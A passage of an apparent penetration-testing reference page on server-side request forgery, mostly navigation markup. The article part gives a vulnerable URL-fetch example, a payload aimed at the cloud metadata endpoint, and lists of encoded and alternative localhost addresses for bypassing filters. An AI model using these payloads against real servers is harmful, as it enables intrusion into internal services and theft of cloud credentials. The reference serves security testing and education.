<a href="../XSS%20Injection/5%20-%20XSS%20in%20Angular/" class="md-nav__link">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
XSS in Angular and AngularJS
|
|
</span>
|
|
|
|
|
|
</a>
|
|
</li>
|
|
|
|
|
|
|
|
|
|
</ul>
|
|
</nav>
|
|
|
|
</li>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
<li class="md-nav__item md-nav__item--nested">
|
|
|
|
|
|
|
|
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_58" >
|
|
|
|
|
|
<label class="md-nav__link" for="__nav_58" id="__nav_58_label" tabindex="0">
|
|
|
|
|
|
<span class="md-ellipsis">
|
|
XXE Injection
|
|
</span>
|
|
|
|
|
|
<span class="md-nav__icon md-icon"></span>
|
|
</label>
|
|
|
|
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_58_label" aria-expanded="false">
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<label class="md-nav__title" for="__nav_58">
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<span class="md-nav__icon md-icon"></span>
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XXE Injection
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</label>
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<ul class="md-nav__list" data-md-scrollfix>
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<li class="md-nav__item">
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<a href="../XXE%20Injection/" class="md-nav__link">
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<span class="md-ellipsis">
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XML External Entity
|
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</span>
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</a>
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</li>
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</ul>
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</nav>
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<li class="md-nav__item md-nav__item--nested">
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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_59" >
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<label class="md-nav__link" for="__nav_59" id="__nav_59_label" tabindex="0">
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<span class="md-ellipsis">
|
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Zip Slip
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</span>
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<span class="md-nav__icon md-icon"></span>
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</label>
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<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_59_label" aria-expanded="false">
|
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<label class="md-nav__title" for="__nav_59">
|
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<span class="md-nav__icon md-icon"></span>
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Zip Slip
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</label>
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<ul class="md-nav__list" data-md-scrollfix>
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<li class="md-nav__item">
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<a href="../Zip%20Slip/" class="md-nav__link">
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<span class="md-ellipsis">
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Zip Slip
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</span>
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</a>
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</li>
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</ul>
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</nav>
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<li class="md-nav__item md-nav__item--nested">
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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_60" >
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<label class="md-nav__link" for="__nav_60" id="__nav_60_label" tabindex="0">
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<span class="md-ellipsis">
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LEARNING AND SOCIALS
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</span>
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<span class="md-nav__icon md-icon"></span>
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</label>
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<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_60_label" aria-expanded="false">
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<label class="md-nav__title" for="__nav_60">
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<span class="md-nav__icon md-icon"></span>
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LEARNING AND SOCIALS
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</label>
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<ul class="md-nav__list" data-md-scrollfix>
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<li class="md-nav__item">
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<a href="../_LEARNING_AND_SOCIALS/BOOKS/" class="md-nav__link">
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<span class="md-ellipsis">
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Books
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</span>
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</a>
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</li>
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<li class="md-nav__item">
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<a href="../_LEARNING_AND_SOCIALS/TWITTER/" class="md-nav__link">
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<span class="md-ellipsis">
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Twitter
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</span>
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</a>
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</li>
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<li class="md-nav__item">
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<a href="../_LEARNING_AND_SOCIALS/YOUTUBE/" class="md-nav__link">
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<span class="md-ellipsis">
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Youtube
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</span>
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</a>
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</li>
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</ul>
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</nav>
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</li>
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<li class="md-nav__item md-nav__item--nested">
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<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_61" >
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<label class="md-nav__link" for="__nav_61" id="__nav_61_label" tabindex="0">
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<span class="md-ellipsis">
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template vuln
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</span>
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<span class="md-nav__icon md-icon"></span>
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</label>
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<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_61_label" aria-expanded="false">
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<label class="md-nav__title" for="__nav_61">
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<span class="md-nav__icon md-icon"></span>
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template vuln
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</label>
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<ul class="md-nav__list" data-md-scrollfix>
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<li class="md-nav__item">
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<a href="../_template_vuln/" class="md-nav__link">
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<span class="md-ellipsis">
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Vulnerability Title
|
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</span>
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</a>
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</li>
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</ul>
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</nav>
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</li>
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</ul>
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</nav>
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</div>
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</div>
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</div>
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<div class="md-sidebar md-sidebar--secondary" data-md-component="sidebar" data-md-type="toc" >
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<div class="md-sidebar__scrollwrap">
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<div class="md-sidebar__inner">
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<nav class="md-nav md-nav--secondary" aria-label="Table of contents">
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<label class="md-nav__title" for="__toc">
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<span class="md-nav__icon md-icon"></span>
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Table of contents
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</label>
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<ul class="md-nav__list" data-md-component="toc" data-md-scrollfix>
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<li class="md-nav__item">
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<a href="#summary" class="md-nav__link">
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<span class="md-ellipsis">
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Summary
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<li class="md-nav__item">
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<a href="#tools" class="md-nav__link">
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<span class="md-ellipsis">
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Tools
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</a>
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</li>
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<li class="md-nav__item">
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<a href="#methodology" class="md-nav__link">
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<span class="md-ellipsis">
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Methodology
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</span>
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</a>
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</li>
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<li class="md-nav__item">
|
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<a href="#bypassing-filters" class="md-nav__link">
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<span class="md-ellipsis">
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Bypassing Filters
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</span>
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</a>
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<nav class="md-nav" aria-label="Bypassing Filters">
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<ul class="md-nav__list">
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<li class="md-nav__item">
|
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<a href="#default-targets" class="md-nav__link">
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<span class="md-ellipsis">
|
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Default Targets
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</span>
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</a>
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</li>
|
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|
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<li class="md-nav__item">
|
|
<a href="#bypass-localhost-with-ipv6-notation" class="md-nav__link">
|
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<span class="md-ellipsis">
|
|
Bypass Localhost with IPv6 Notation
|
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</span>
|
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</a>
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|
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</li>
|
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|
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<li class="md-nav__item">
|
|
<a href="#bypass-localhost-with-a-domain-redirect" class="md-nav__link">
|
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<span class="md-ellipsis">
|
|
Bypass Localhost with a Domain Redirect
|
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</span>
|
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</a>
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</li>
|
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|
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<li class="md-nav__item">
|
|
<a href="#bypass-localhost-with-cidr" class="md-nav__link">
|
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<span class="md-ellipsis">
|
|
Bypass Localhost with CIDR
|
|
</span>
|
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</a>
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|
|
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</li>
|
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|
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<li class="md-nav__item">
|
|
<a href="#bypass-using-rare-address" class="md-nav__link">
|
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<span class="md-ellipsis">
|
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Bypass Using Rare Address
|
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</span>
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</a>
|
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</li>
|
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|
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<li class="md-nav__item">
|
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<a href="#bypass-using-an-encoded-ip-address" class="md-nav__link">
|
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<span class="md-ellipsis">
|
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Bypass Using an Encoded IP Address
|
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</span>
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</a>
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</li>
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|
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<li class="md-nav__item">
|
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<a href="#bypass-using-different-encoding" class="md-nav__link">
|
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<span class="md-ellipsis">
|
|
Bypass Using Different Encoding
|
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</span>
|
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</a>
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</li>
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|
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<li class="md-nav__item">
|
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<a href="#bypassing-using-a-redirect" class="md-nav__link">
|
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<span class="md-ellipsis">
|
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Bypassing Using a Redirect
|
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</span>
|
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</a>
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</li>
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|
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<li class="md-nav__item">
|
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<a href="#bypass-using-dns-rebinding" class="md-nav__link">
|
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<span class="md-ellipsis">
|
|
Bypass Using DNS Rebinding
|
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</span>
|
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</a>
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</li>
|
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|
|
<li class="md-nav__item">
|
|
<a href="#bypass-abusing-url-parsing-discrepancy" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Bypass Abusing URL Parsing Discrepancy
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
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<li class="md-nav__item">
|
|
<a href="#bypass-php-filter_var-function" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Bypass PHP filter_var() Function
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#bypass-using-jar-scheme" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Bypass Using JAR Scheme
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
</ul>
|
|
</nav>
|
|
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</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#exploitation-via-url-scheme" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Exploitation via URL Scheme
|
|
</span>
|
|
</a>
|
|
|
|
<nav class="md-nav" aria-label="Exploitation via URL Scheme">
|
|
<ul class="md-nav__list">
|
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|
<li class="md-nav__item">
|
|
<a href="#file" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
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File
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</span>
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</a>
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</li>
|
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|
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<li class="md-nav__item">
|
|
<a href="#http" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
HTTP
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#dict" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Dict
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#sftp" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
SFTP
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#tftp" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
TFTP
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
<li class="md-nav__item">
|
|
<a href="#ldap" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
LDAP
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
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|
|
<li class="md-nav__item">
|
|
<a href="#netdoc" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Netdoc
|
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</span>
|
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</a>
|
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|
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</li>
|
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|
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<li class="md-nav__item">
|
|
<a href="#gopher" class="md-nav__link">
|
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<span class="md-ellipsis">
|
|
Gopher
|
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</span>
|
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</a>
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</li>
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</ul>
|
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</nav>
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</li>
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<li class="md-nav__item">
|
|
<a href="#blind-exploitation" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Blind Exploitation
|
|
</span>
|
|
</a>
|
|
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</li>
|
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|
|
<li class="md-nav__item">
|
|
<a href="#upgrade-to-xss" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
|
Upgrade to XSS
|
|
</span>
|
|
</a>
|
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|
</li>
|
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|
|
<li class="md-nav__item">
|
|
<a href="#labs" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
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Labs
|
|
</span>
|
|
</a>
|
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</li>
|
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|
|
<li class="md-nav__item">
|
|
<a href="#references" class="md-nav__link">
|
|
<span class="md-ellipsis">
|
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References
|
|
</span>
|
|
</a>
|
|
|
|
</li>
|
|
|
|
</ul>
|
|
|
|
</nav>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
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|
|
<div class="md-content" data-md-component="content">
|
|
<article class="md-content__inner md-typeset">
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|
|
|
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|
|
<a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server Side Request Forgery/README.md" title="Edit this page" class="md-content__button md-icon">
|
|
|
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg>
|
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</a>
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|
|
<a href="https://github.com/swisskyrepo/PayloadsAllTheThings/raw/master/Server Side Request Forgery/README.md" title="View source of this page" class="md-content__button md-icon">
|
|
|
|
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M17 18c.56 0 1 .44 1 1s-.44 1-1 1-1-.44-1-1 .44-1 1-1m0-3c-2.73 0-5.06 1.66-6 4 .94 2.34 3.27 4 6 4s5.06-1.66 6-4c-.94-2.34-3.27-4-6-4m0 6.5a2.5 2.5 0 0 1-2.5-2.5 2.5 2.5 0 0 1 2.5-2.5 2.5 2.5 0 0 1 2.5 2.5 2.5 2.5 0 0 1-2.5 2.5M9.27 20H6V4h7v5h5v4.07c.7.08 1.36.25 2 .49V8l-6-6H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h4.5a8.2 8.2 0 0 1-1.23-2"/></svg>
|
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</a>
|
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|
|
|
|
|
|
<h1 id="server-side-request-forgery">Server-Side Request Forgery</h1>
|
|
<blockquote>
|
|
<p>Server Side Request Forgery or SSRF is a vulnerability in which an attacker forces a server to perform requests on their behalf.</p>
|
|
</blockquote>
|
|
<h2 id="summary">Summary</h2>
|
|
<ul>
|
|
<li><a href="#tools">Tools</a></li>
|
|
<li><a href="#methodology">Methodology</a></li>
|
|
<li><a href="#bypassing-filters">Bypassing Filters</a><ul>
|
|
<li><a href="#default-targets">Default Targets</a></li>
|
|
<li><a href="#bypass-localhost-with-ipv6-notation">Bypass Localhost with IPv6 Notation</a></li>
|
|
<li><a href="#bypass-localhost-with-a-domain-redirect">Bypass Localhost with a Domain Redirect</a></li>
|
|
<li><a href="#bypass-localhost-with-cidr">Bypass Localhost with CIDR</a></li>
|
|
<li><a href="#bypass-using-rare-address">Bypass Using Rare Address</a></li>
|
|
<li><a href="#bypass-using-an-encoded-ip-address">Bypass Using an Encoded IP Address</a></li>
|
|
<li><a href="#bypass-using-different-encoding">Bypass Using Different Encoding</a></li>
|
|
<li><a href="#bypassing-using-a-redirect">Bypassing Using a Redirect</a></li>
|
|
<li><a href="#bypass-using-dns-rebinding">Bypass Using DNS Rebinding</a></li>
|
|
<li><a href="#bypass-abusing-url-parsing-discrepancy">Bypass Abusing URL Parsing Discrepancy</a></li>
|
|
<li><a href="#bypass-php-filter_var-function">Bypass PHP filter_var() Function</a></li>
|
|
<li><a href="#bypass-using-jar-scheme">Bypass Using JAR Scheme</a></li>
|
|
</ul>
|
|
</li>
|
|
<li><a href="#exploitation-via-url-scheme">Exploitation via URL Scheme</a><ul>
|
|
<li><a href="#file">file://</a></li>
|
|
<li><a href="#http">http://</a></li>
|
|
<li><a href="#dict">dict://</a></li>
|
|
<li><a href="#sftp">sftp://</a></li>
|
|
<li><a href="#tftp">tftp://</a></li>
|
|
<li><a href="#ldap">ldap://</a></li>
|
|
<li><a href="#gopher">gopher://</a></li>
|
|
<li><a href="#netdoc">netdoc://</a></li>
|
|
</ul>
|
|
</li>
|
|
<li><a href="#blind-exploitation">Blind Exploitation</a></li>
|
|
<li><a href="#upgrade-to-xss">Upgrade to XSS</a></li>
|
|
<li><a href="#labs">Labs</a> </li>
|
|
<li><a href="#references">References</a></li>
|
|
</ul>
|
|
<h2 id="tools">Tools</h2>
|
|
<ul>
|
|
<li><a href="https://github.com/swisskyrepo/SSRFmap">swisskyrepo/SSRFmap</a> - Automatic SSRF fuzzer and exploitation tool</li>
|
|
<li><a href="https://github.com/tarunkant/Gopherus">tarunkant/Gopherus</a> - Generates gopher link for exploiting SSRF and gaining RCE in various servers</li>
|
|
<li><a href="https://github.com/In3tinct/See-SURF">In3tinct/See-SURF</a> - Python based scanner to find potential SSRF parameters</li>
|
|
<li><a href="https://github.com/teknogeek/ssrf-sheriff">teknogeek/SSRF-Sheriff</a> - Simple SSRF-testing sheriff written in Go</li>
|
|
<li><a href="https://github.com/assetnote/surf">assetnote/surf</a> - Returns a list of viable SSRF candidates</li>
|
|
<li><a href="https://github.com/dwisiswant0/ipfuscator">dwisiswant0/ipfuscator</a> - A blazing-fast, thread-safe, straightforward and zero memory allocations tool to swiftly generate alternative IP(v4) address representations in Go.</li>
|
|
<li><a href="https://github.com/Horlad/r3dir">Horlad/r3dir</a> - a redirection service designed to help bypass SSRF filters that do not validate the redirect location. Intergrated with Burp with help of Hackvertor tags</li>
|
|
</ul>
|
|
<h2 id="methodology">Methodology</h2>
|
|
<p>SSRF is a security vulnerability that occurs when an attacker manipulates a server to make HTTP requests to an unintended location. This happens when the server processes user-provided URLs or IP addresses without proper validation.</p>
|
|
<p>Common exploitation paths:</p>
|
|
<ul>
|
|
<li>Accessing Cloud metadata</li>
|
|
<li>Leaking files on the server</li>
|
|
<li>Network discovery, port scanning with the SSRF</li>
|
|
<li>Sending packets to specific services on the network, usually to achieve a Remote Command Execution on another server</li>
|
|
</ul>
|
|
<p><strong>Example</strong>: A server accepts user input to fetch a URL.</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-0-1" name="__codelineno-0-1" href="#__codelineno-0-1"></a><span class="n">url</span> <span class="o">=</span> <span class="nb">input</span><span class="p">(</span><span class="s2">"Enter URL:"</span><span class="p">)</span>
|
|
<a id="__codelineno-0-2" name="__codelineno-0-2" href="#__codelineno-0-2"></a><span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span><span class="p">)</span>
|
|
<a id="__codelineno-0-3" name="__codelineno-0-3" href="#__codelineno-0-3"></a><span class="k">return</span> <span class="n">response</span>
|
|
</code></pre></div>
|
|
<p>An attacker supplies a malicious input:</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-1-1" name="__codelineno-1-1" href="#__codelineno-1-1"></a><span class="n">http</span><span class="p">://</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">.</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">/</span><span class="n">latest</span><span class="p">/</span><span class="n">meta-data</span><span class="p">/</span>
|
|
</code></pre></div>
|
|
<p>This fetches sensitive information from the AWS EC2 metadata service.</p>
|
|
<h2 id="bypassing-filters">Bypassing Filters</h2>
|
|
<h3 id="default-targets">Default Targets</h3>
|
|
<p>By default, Server-Side Request Forgery are used to access services hosted on <code>localhost</code> or hidden further on the network.</p>
|
|
<ul>
|
|
<li>Using <code>localhost</code>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-2-1" name="__codelineno-2-1" href="#__codelineno-2-1"></a><span class="n">http</span><span class="p">://</span><span class="n">localhost</span><span class="p">:</span><span class="n">80</span>
|
|
<a id="__codelineno-2-2" name="__codelineno-2-2" href="#__codelineno-2-2"></a><span class="n">http</span><span class="p">://</span><span class="n">localhost</span><span class="p">:</span><span class="n">22</span>
|
|
<a id="__codelineno-2-3" name="__codelineno-2-3" href="#__codelineno-2-3"></a><span class="n">https</span><span class="p">://</span><span class="n">localhost</span><span class="p">:</span><span class="n">443</span>
|
|
</code></pre></div></li>
|
|
<li>Using <code>127.0.0.1</code>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-3-1" name="__codelineno-3-1" href="#__codelineno-3-1"></a><span class="n">http</span><span class="p">://</span><span class="n">127</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">1</span><span class="p">:</span><span class="n">80</span>
|
|
<a id="__codelineno-3-2" name="__codelineno-3-2" href="#__codelineno-3-2"></a><span class="n">http</span><span class="p">://</span><span class="n">127</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">1</span><span class="p">:</span><span class="n">22</span>
|
|
<a id="__codelineno-3-3" name="__codelineno-3-3" href="#__codelineno-3-3"></a><span class="n">https</span><span class="p">://</span><span class="n">127</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">1</span><span class="p">:</span><span class="n">443</span>
|
|
</code></pre></div></li>
|
|
<li>Using <code>0.0.0.0</code>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-4-1" name="__codelineno-4-1" href="#__codelineno-4-1"></a><span class="n">http</span><span class="p">://</span><span class="n">0</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">0</span><span class="p">:</span><span class="n">80</span>
|
|
<a id="__codelineno-4-2" name="__codelineno-4-2" href="#__codelineno-4-2"></a><span class="n">http</span><span class="p">://</span><span class="n">0</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">0</span><span class="p">:</span><span class="n">22</span>
|
|
<a id="__codelineno-4-3" name="__codelineno-4-3" href="#__codelineno-4-3"></a><span class="n">https</span><span class="p">://</span><span class="n">0</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">0</span><span class="p">:</span><span class="n">443</span>
|
|
</code></pre></div></li>
|
|
</ul>
|
|
<h3 id="bypass-localhost-with-ipv6-notation">Bypass Localhost with IPv6 Notation</h3>
|
|
<ul>
|
|
<li>
|
|
<p>Using unspecified address in IPv6 <code>[::]</code>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-5-1" name="__codelineno-5-1" href="#__codelineno-5-1"></a><span class="n">http</span><span class="p">://[::]:</span><span class="n">80</span><span class="p">/</span>
|
|
</code></pre></div></p>
|
|
</li>
|
|
<li>
|
|
<p>Using IPv6 loopback addres<code>[0000::1]</code>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-6-1" name="__codelineno-6-1" href="#__codelineno-6-1"></a><span class="n">http</span><span class="p">://[</span><span class="n">0000</span><span class="p">::</span><span class="n">1</span><span class="p">]:</span><span class="n">80</span><span class="p">/</span>
|
|
</code></pre></div></p>
|
|
</li>
|
|
<li>
|
|
<p>Using <a href="http://www.tcpipguide.com/free/t_IPv6IPv4AddressEmbedding.htm">IPv6/IPv4 Address Embedding</a>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-7-1" name="__codelineno-7-1" href="#__codelineno-7-1"></a><span class="n">http</span><span class="p">://[</span><span class="n">0</span><span class="p">:</span><span class="n">0</span><span class="p">:</span><span class="n">0</span><span class="p">:</span><span class="n">0</span><span class="p">:</span><span class="n">0</span><span class="p">:</span><span class="n">ffff</span><span class="p">:</span><span class="n">127</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">1</span><span class="p">]</span>
|
|
<a id="__codelineno-7-2" name="__codelineno-7-2" href="#__codelineno-7-2"></a><span class="n">http</span><span class="p">://[::</span><span class="n">ffff</span><span class="p">:</span><span class="n">127</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">1</span><span class="p">]</span>
|
|
</code></pre></div></p>
|
|
</li>
|
|
</ul>
|
|
<h3 id="bypass-localhost-with-a-domain-redirect">Bypass Localhost with a Domain Redirect</h3>
|
|
<table>
|
|
<thead>
|
|
<tr>
|
|
<th>Domain</th>
|
|
<th>Redirect to</th>
|
|
</tr>
|
|
</thead>
|
|
<tbody>
|
|
<tr>
|
|
<td>localtest.me</td>
|
|
<td><code>::1</code></td>
|
|
</tr>
|
|
<tr>
|
|
<td>localh.st</td>
|
|
<td><code>127.0.0.1</code></td>
|
|
</tr>
|
|
<tr>
|
|
<td>spoofed.[BURP_COLLABORATOR]</td>
|
|
<td><code>127.0.0.1</code></td>
|
|
</tr>
|
|
<tr>
|
|
<td>spoofed.redacted.oastify.com</td>
|
|
<td><code>127.0.0.1</code></td>
|
|
</tr>
|
|
<tr>
|
|
<td>company.127.0.0.1.nip.io</td>
|
|
<td><code>127.0.0.1</code></td>
|
|
</tr>
|
|
</tbody>
|
|
</table>
|
|
<p>The service <code>nip.io</code> is awesome for that, it will convert any ip address as a dns.</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-8-1" name="__codelineno-8-1" href="#__codelineno-8-1"></a><span class="n">NIP</span><span class="p">.</span><span class="n">IO</span> <span class="n">maps</span> <span class="p"><</span><span class="n">anything</span><span class="p">>.<</span><span class="n">IP</span> <span class="n">Address</span><span class="p">>.</span><span class="n">nip</span><span class="p">.</span><span class="n">io</span> <span class="n">to</span> <span class="n">the</span> <span class="n">corresponding</span> <span class="p"><</span><span class="n">IP</span> <span class="n">Address</span><span class="p">>,</span> <span class="n">even</span> <span class="n">127</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">1</span><span class="p">.</span><span class="n">nip</span><span class="p">.</span><span class="n">io</span> <span class="n">maps</span> <span class="n">to</span> <span class="n">127</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">1</span>
|
|
</code></pre></div>
|
|
<h3 id="bypass-localhost-with-cidr">Bypass Localhost with CIDR</h3>
|
|
<p>The IP range <code>127.0.0.0/8</code> in IPv4 is reserved for loopback addresses. </p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-9-1" name="__codelineno-9-1" href="#__codelineno-9-1"></a><span class="n">http</span><span class="p">://</span><span class="n">127</span><span class="p">.</span><span class="n">127</span><span class="p">.</span><span class="n">127</span><span class="p">.</span><span class="n">127</span>
|
|
<a id="__codelineno-9-2" name="__codelineno-9-2" href="#__codelineno-9-2"></a><span class="n">http</span><span class="p">://</span><span class="n">127</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">1</span><span class="p">.</span><span class="n">3</span>
|
|
<a id="__codelineno-9-3" name="__codelineno-9-3" href="#__codelineno-9-3"></a><span class="n">http</span><span class="p">://</span><span class="n">127</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">0</span>
|
|
</code></pre></div>
|
|
<p>If you try to use any address in this range (127.0.0.2, 127.1.1.1, etc.) in a network, it will still resolve to the local machine</p>
|
|
<h3 id="bypass-using-rare-address">Bypass Using Rare Address</h3>
|
|
<p>You can short-hand IP addresses by dropping the zeros</p>
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-10-1" name="__codelineno-10-1" href="#__codelineno-10-1"></a><span class="n">http</span><span class="p">://</span><span class="n">0</span><span class="p">/</span>
|
|
<a id="__codelineno-10-2" name="__codelineno-10-2" href="#__codelineno-10-2"></a><span class="n">http</span><span class="p">://</span><span class="n">127</span><span class="p">.</span><span class="n">1</span>
|
|
<a id="__codelineno-10-3" name="__codelineno-10-3" href="#__codelineno-10-3"></a><span class="n">http</span><span class="p">://</span><span class="n">127</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">1</span>
|
|
</code></pre></div>
|
|
<h3 id="bypass-using-an-encoded-ip-address">Bypass Using an Encoded IP Address</h3>
|
|
<ul>
|
|
<li>
|
|
<p>Decimal IP location
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-11-1" name="__codelineno-11-1" href="#__codelineno-11-1"></a><span class="n">http</span><span class="p">://</span><span class="n">2130706433</span><span class="p">/</span> <span class="p">=</span> <span class="n">http</span><span class="p">://</span><span class="n">127</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">1</span>
|
|
<a id="__codelineno-11-2" name="__codelineno-11-2" href="#__codelineno-11-2"></a><span class="n">http</span><span class="p">://</span><span class="n">3232235521</span><span class="p">/</span> <span class="p">=</span> <span class="n">http</span><span class="p">://</span><span class="n">192</span><span class="p">.</span><span class="n">168</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">1</span>
|
|
<a id="__codelineno-11-3" name="__codelineno-11-3" href="#__codelineno-11-3"></a><span class="n">http</span><span class="p">://</span><span class="n">3232235777</span><span class="p">/</span> <span class="p">=</span> <span class="n">http</span><span class="p">://</span><span class="n">192</span><span class="p">.</span><span class="n">168</span><span class="p">.</span><span class="n">1</span><span class="p">.</span><span class="n">1</span>
|
|
<a id="__codelineno-11-4" name="__codelineno-11-4" href="#__codelineno-11-4"></a><span class="n">http</span><span class="p">://</span><span class="n">2852039166</span><span class="p">/</span> <span class="p">=</span> <span class="n">http</span><span class="p">://</span><span class="n">169</span><span class="p">.</span><span class="n">254</span><span class="p">.</span><span class="n">169</span><span class="p">.</span><span class="n">254</span>
|
|
</code></pre></div></p>
|
|
</li>
|
|
<li>
|
|
<p>Octal IP: Implementations differ on how to handle octal format of IPv4.
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-12-1" name="__codelineno-12-1" href="#__codelineno-12-1"></a><span class="n">http</span><span class="p">://</span><span class="n">0177</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">1</span><span class="p">/</span> <span class="p">=</span> <span class="n">http</span><span class="p">://</span><span class="n">127</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">1</span>
|
|
<a id="__codelineno-12-2" name="__codelineno-12-2" href="#__codelineno-12-2"></a><span class="n">http</span><span class="p">://</span><span class="n">o177</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">1</span><span class="p">/</span> <span class="p">=</span> <span class="n">http</span><span class="p">://</span><span class="n">127</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">1</span>
|
|
<a id="__codelineno-12-3" name="__codelineno-12-3" href="#__codelineno-12-3"></a><span class="n">http</span><span class="p">://</span><span class="n">0o177</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">1</span><span class="p">/</span> <span class="p">=</span> <span class="n">http</span><span class="p">://</span><span class="n">127</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">1</span>
|
|
<a id="__codelineno-12-4" name="__codelineno-12-4" href="#__codelineno-12-4"></a><span class="n">http</span><span class="p">://</span><span class="n">q177</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">1</span><span class="p">/</span> <span class="p">=</span> <span class="n">http</span><span class="p">://</span><span class="n">127</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">1</span>
|
|
</code></pre></div></p>
|
|
</li>
|
|
</ul>
|
|
<h3 id="bypass-using-different-encoding">Bypass Using Different Encoding</h3>
|
|
<ul>
|
|
<li>
|
|
<p>URL encoding: Single or double encode a specific URL to bypass blacklist
|
|
<div class="highlight"><pre><span></span><code><a id="__codelineno-13-1" name="__codelineno-13-1" href="#__codelineno-13-1"></a><span class="n">http</span><span class="p">://</span><span class="n">127</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">0</span><span class="p">.</span><span class="n">1</span><span class="p">/</span><span class="k">%</span><span class="n">61dmin</span>
|
|
